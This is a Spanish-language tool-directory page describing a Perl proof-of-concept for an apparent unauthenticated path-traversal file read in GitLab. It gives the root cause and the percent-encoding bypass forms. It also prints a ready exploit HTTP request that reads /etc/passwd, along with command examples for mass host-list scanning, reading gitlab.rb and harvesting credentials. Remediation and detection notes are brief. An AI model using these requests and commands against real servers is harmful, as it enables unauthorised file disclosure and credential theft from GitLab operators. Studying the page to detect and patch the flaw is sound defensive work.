Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85706 — PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales. | Kitploit
Herramientas/GitHubGitHub/gabrielunknown/cve-2026-85706
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de PenetraciónRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales.

Ver Repositorio
hace 8h 39mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85706 — Lectura Arbitraria de Archivos sin Autenticación en GitLab

CVSS GitLab License MITRE

Solo para pruebas de penetración autorizadas y operaciones de Red Team.
El uso no autorizado constituye un delito penal. Consulte Aviso Legal.


Descripción General

CVE-2026-85706 es una vulnerabilidad de path traversal con CVSS 10.0 en GitLab Community y Enterprise Editions que permite a un atacante completamente no autenticado leer archivos arbitrarios del sistema de archivos del servidor con una sola solicitud HTTP. No se requieren credenciales, ni token, ni interacción del usuario.

  • Divulgada: 10 de septiembre de 2026
  • Primera explotación observada: 11 de septiembre de 2026 (dentro de las 6 horas posteriores a la divulgación)
  • Añadida a CISA KEV: 11 de septiembre de 2026
  • Corregida en: GitLab 19.1.8 / 19.2.6 / 19.3.2

  • Versiones Afectadas

    RamaRango VulnerableCorregida En
    18.x18.7 → 19.1.719.1.8
    19.219.2.0 → 19.2.519.2.6
    19.319.3.0 → 19.3.119.3.2

    Análisis Técnico

    Contexto de la Arquitectura

    La pila HTTP de GitLab tiene tres capas:

    root@kitploit:~
    Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
    

    Workhorse actúa como un proxy inverso inteligente: para ciertos endpoints de "subida" (commits de repositorio, operaciones de archivos), lee los cuerpos de solicitud multipart, guarda los datos del archivo en disco y reescribe la solicitud antes de reenviarla a Puma. De manera crucial, adjunta un encabezado JWT (Gitlab-Workhorse-Api-Request) a cada solicitud que proxifica. Rails luego valida este JWT (mediante require_gitlab_workhorse!) antes de ejecutar cualquier lógica del manejador.

    Causa Raíz — Desajuste de Decodificación de Rutas en Tres Capas

    Capa 1 — Coincidencia de rutas de Workhorse:
    Workhorse hace coincidir las rutas de solicitud usando una expresión regular compilada que opera sobre la cadena de bytes sin procesar, codificada en porcentaje. NO decodifica las secuencias %XX antes de hacer la coincidencia.

    Capa 2 — Enrutamiento de Puma/Rack:
    Puma decodifica las secuencias %XX antes de que Grape enrute la solicitud. Así, una solicitud a /repository/%63ommits se decodifica a /repository/commits y se enruta a CommitsController.

    Capa 3 — Lectura de archivo pre-autenticación:
    Una vez en el manejador de Rails (al que se llega sin el JWT de Workhorse porque Workhorse nunca hizo coincidir la solicitud), el manejador lee params[:file][:path] de la cadena de consulta y llama a:

    root@kitploit:~
    File.open(params[:file][:path])   # ← ocurre ANTES de la autenticación
    

    El Truco de Omisión

    Al codificar en porcentaje un carácter en un segmento de ruta estático, la solicitud del atacante pasa desapercibida ante Workhorse:

    SegmentoOriginalForma de OmisiónCarácter Codificado
    commitscommits%63ommitsc → %63
    commitscommits%43ommitsC → %43
    repositoryrepository%72epositoryr → %72
    filesfiles%66ilesf → %66
    (cualquiera)commitscommits/barra final
    (cualquiera)commitscommits.jsonsufijo de Grape

    Mecanismo de Exfiltración de Contenido

    Después de abrir el archivo, el contenido se exfiltra mediante el analizador de cadena de consulta de Rack:

    root@kitploit:~
    Rack::Utils.parse_nested_query(File.read(path))
    

    Si el archivo contiene un % no seguido de dos dígitos hexadecimales válidos (lo cual es común en archivos de configuración de Ruby, YAML de CI, registros, etc.), Rack lanza:

    root@kitploit:~
    InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
    

    Este cuerpo de respuesta 400 contiene el contenido sin procesar del archivo hasta e incluyendo el byte problemático — revelando el contenido del archivo al solicitante no autenticado.

    Los archivos sin secuencias % explotables (por ejemplo, /etc/passwd limpio) devuelven un 401 o un error de validación de parámetros después de la lectura: esto actúa como un oráculo de existencia de archivos (la lectura aún ocurrió antes de la autenticación).

    Estructura de la Solicitud de Explotación

    root@kitploit:~
    POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
    Host: gitlab.corp.com
    User-Agent: cve-2026-85706-perl-poc/1.0.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Mapeo MITRE ATT&CK

    TécnicaIDImplementación en este PoC
    Descubrimiento de Archivos y DirectoriosT1083El modo --scan sondea 38 rutas sensibles del servidor
    Credenciales en ArchivosT1552.001--harvest extrae claves/tokens/contraseñas del contenido filtrado

    Instalación

    Requisitos

    MóduloPaqueteRol
    LWP::UserAgentlibwww-perlCliente HTTP (obligatorio)
    LWP::Protocol::httpslibwww-perlSoporte HTTPS (obligatorio)
    URI::Escapeliburi-perlCodificación de cadena de consulta (obligatorio)
    Term::ANSIColorlibterm-ansicolor-perlSalida con colores (opcional)
    JSONlibjson-perlModo de salida JSON (opcional)
    root@kitploit:~
    # Debian/Ubuntu
    apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
    
    # RHEL/Fedora
    sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
    
    # CPAN
    cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
    
    # Make executable
    chmod +x exploit.pl
    

    Uso

    root@kitploit:~
    Usage: exploit.pl [OPTIONS]
    
    Target:
      -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
      -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                                  Commits API forms: project must be anonymously accessible
                                  Files API forms:   any value works (file read precedes auth)
    
    Exploitability check:
      -c, --check                Single-target check (quick by default — ≤9 requests)
          --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
      -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                                 Add --full for the 4-stage sweep on every host
    
    Single-file read:
      -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)
    
    Scan mode (T1083 — File and Directory Discovery):
      -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
      -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
      -H, --harvest              Extract credentials from leaked content (T1552.001)
    
    Output:
      -o, --output <FILE>        Tee all output to file
      -j, --json                 Emit results as JSON array (requires JSON.pm)
      -v, --verbose              Print full request URL before each probe
          --no-color             Disable ANSI colour output
    
    Connection:
      -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
      -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
      -r, --retries <N>          Retry count on connection error  [default: 2]
      -A, --user-agent <STR>     Override User-Agent string
    

    Verificación Rápida vs Completa

    Rápida (predeterminada)Completa (--full)
    Solicitudes≤9 (1 preflight + ≤4×2)27+
    Salida tempranaSí — se detiene en el primer diferencial confirmadoNo — recorre las 22 formas
    Información de versiónNoSí
    Formas de omisión4 representativas de Files APILas 22 (Commits + Files API)
    Ideal paraReconocimiento rápido, listas grandes de hostsInformes de pentest, preparación de --file/--scan

    Pipeline de verificación rápida:

    1. GET /api/v4/version — alcanzabilidad + indicio de GitLab
    2. Para cada una de las 4 formas de omisión de Files API: sondear /etc/hostname + canario único
    3. canary → 'local file not present' ∧ hostname ≠ canary → VULNERABLE (salir inmediatamente)
    4. Todas las formas agotadas sin diferencial → NO VULNERABLE

    Pipeline de verificación completa (--full):

    1. Detección de GitLab + fingerprinting de versión
    2. Sonda de control (línea base de Workhorse)
    3. Las 22 formas de omisión × ruta canario
    4. Confirmación diferencial con la mejor forma confirmada

    --project-id y modos de verificación

    La opción --project-id es utilizable en todos los modos, incluidos --check y --check-host-list. Entendiendo la interacción:

    Grupo de omisiónFormasDependencia del ID de proyecto
    Files API (%66iles, %46iles, re%70ository/files, …)14Ninguna — la lectura de archivo precede a la verificación de proyecto por diseño del CVE. Cualquier ID (incluso inexistente) produce la señal correcta.
    Commits API (%63ommits, %43ommits, repository/commits/, …)8Requerida — el proyecto debe existir y ser legible anónimamente. Devuelve project-gate si no.

    Guía práctica:

    • --check (rápida): usa solo formas de Files API → el ID de proyecto es irrelevante.
    • --check --full: prueba las 22 formas. Si conoce un ID de proyecto público, pase --project-id <N> para confirmar también las formas de Commits API.
    • --check-host-list: un único --project-id rara vez corresponde a un proyecto público en todos los hosts. Omítalo.

    Ejemplos

    root@kitploit:~
    # Quick check — ≤9 requests, binary verdict
    ./exploit.pl -u https://gitlab.corp.com --check
    
    # Quick check with known public project (extends Commits API coverage in --full mode)
    ./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)
    
    # Full 4-stage check — version + all 22 bypass forms enumerated
    ./exploit.pl -u https://gitlab.corp.com --check --full
    
    # Quick scan of a host list (≤9 probes per host)
    ./exploit.pl --check-host-list targets.txt
    
    # Full scan of a host list (version info in summary table)
    ./exploit.pl --check-host-list targets.txt --full
    
    # Host list, JSON output for pipeline integration
    ./exploit.pl --check-host-list targets.txt --json --output results.json
    
    # Host list with 2-second inter-host delay and saved report
    ./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
    
    # Read a single file
    ./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
    
    # Read GitLab master config and extract credentials
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
    
    # Full discovery scan with credential harvesting, log to file
    ./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
    
    # Custom wordlist, JSON output, 1-second delay between requests
    ./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
    
    # Verbose single-file read (shows full request URLs)
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
    

    Veredictos de Respuesta

    VeredictoSignificado
    leakContenido del archivo reflejado en el cuerpo de la respuesta mediante error de análisis de Rack
    leak-fragmentEco parcial del contenido mediante fragmento del nombre del parámetro
    read-noechoHTTP 401 en la ruta de omisión — ambiguo: o la lectura del archivo ocurrió antes de la autenticación (vulnerable, contenido limpio sin secuencia % incorrecta), o la autenticación se activa antes de la lectura (servidor parcheado). Use --check para confirmar mediante diferencial
    missingLa ruta de omisión funcionó; se alcanzó el manejador; el archivo no está presente o no es legible
    rewriteWorkhorse interceptó esta forma de ruta — la omisión falló
    project-gateCommits API rechazó el proyecto; pruebe las formas de Files API
    norouteRails no enrutó esta variante de ruta

    Mejoras sobre el PoC Original en Python

    CaracterísticaPoC en PythonEste PoC en Perl
    Variantes de ruta de omisión615
    Escaneo masivo de archivos (T1083)✗✓ Lista de palabras integrada de 38 rutas
    Recolección de credenciales (T1552.001)✗✓ 22 patrones de credenciales
    Salida JSON✗✓ --json
    Salida a archivo / tee✗✓ --output
    Mensajes de oráculo de existencia de archivosBásicosExplícitos, con código de colores
    Lógica de reintentos✗✓ --retries configurable
    Retardo por solicitud✗✓ --delay (segundos flotantes)
    User-Agent personalizado✗✓ --user-agent
    IDs de namespace/proyecto✗✓ Codifica automáticamente / → %2F
    Modo verboso✗✓ --verbose

    Remediación

    1. Parchear inmediatamente: Actualice a GitLab 19.1.8, 19.2.6 o 19.3.2.
    2. A corto plazo: Restrinja el acceso público a la instancia de GitLab mediante controles de red.
    3. Rotación de credenciales: Después de parchear, rote todos los secretos que podrían haber sido expuestos:
      • secret_key_base y otp_key_base en gitlab.rb
      • Contraseñas de base de datos
      • Claves SSH (/home/git/.ssh/, /root/.ssh/)
      • Variables de CI/CD y tokens de registro de runners
      • Tokens de despliegue y tokens de acceso personal

    Detección

    Busque solicitudes POST o PUT a rutas /api/v4/projects/*/repository/ que contengan:

    • Segmentos estáticos codificados en porcentaje (%63, %43, %72, %70, %66, %46, etc.)
    • Parámetro de consulta file.path
    • Barra final o sufijo de formato .json en los endpoints commits o files

    Referencias

    • CVE Record — cve.org
    • GitLab Patch Release 19.3.2
    • The Hacker News — CVSS 10 coverage
    • Forkast News — Technical breakdown
    • Security Affairs — Active exploitation
    • Python PoC — guneykabel
    • MITRE T1083 — File and Directory Discovery
    • MITRE T1552.001 — Credentials In Files

    Aviso Legal

    Esta herramienta se proporciona estrictamente para:

    • Compromisos de pruebas de penetración autorizados (se requiere permiso por escrito)
    • Operaciones de Red Team dentro del alcance contratado
    • Investigación de seguridad en entornos de laboratorio controlados y aislados
    • Competiciones CTF (Capture The Flag)
    • Propósitos defensivos: comprender la vulnerabilidad para detectarla/mitigarla

    El uso no autorizado contra sistemas que no posee o para los que carece de autorización explícita por escrito para probar es ilegal en prácticamente todas las jurisdicciones y puede resultar en procesamiento penal bajo las leyes de uso indebido de computadoras (CFAA, Computer Misuse Act, etc.).

    El autor y los contribuyentes de esta herramienta no asumen ninguna responsabilidad por cualquier uso indebido o daño causado por este software.


    Créditos

    • PoC Original en Python: guneykabel — prueba de concepto inicial que demostró la técnica de omisión central
    • Asignación y Divulgación del CVE: GitLab Security Team
    • Este PoC en Perl: Motor de detección multi-forma extendido, recolección de credenciales, escaneo masivo, salida de pipeline JSON y lógica de confirmación diferencial
    Descargar herramienta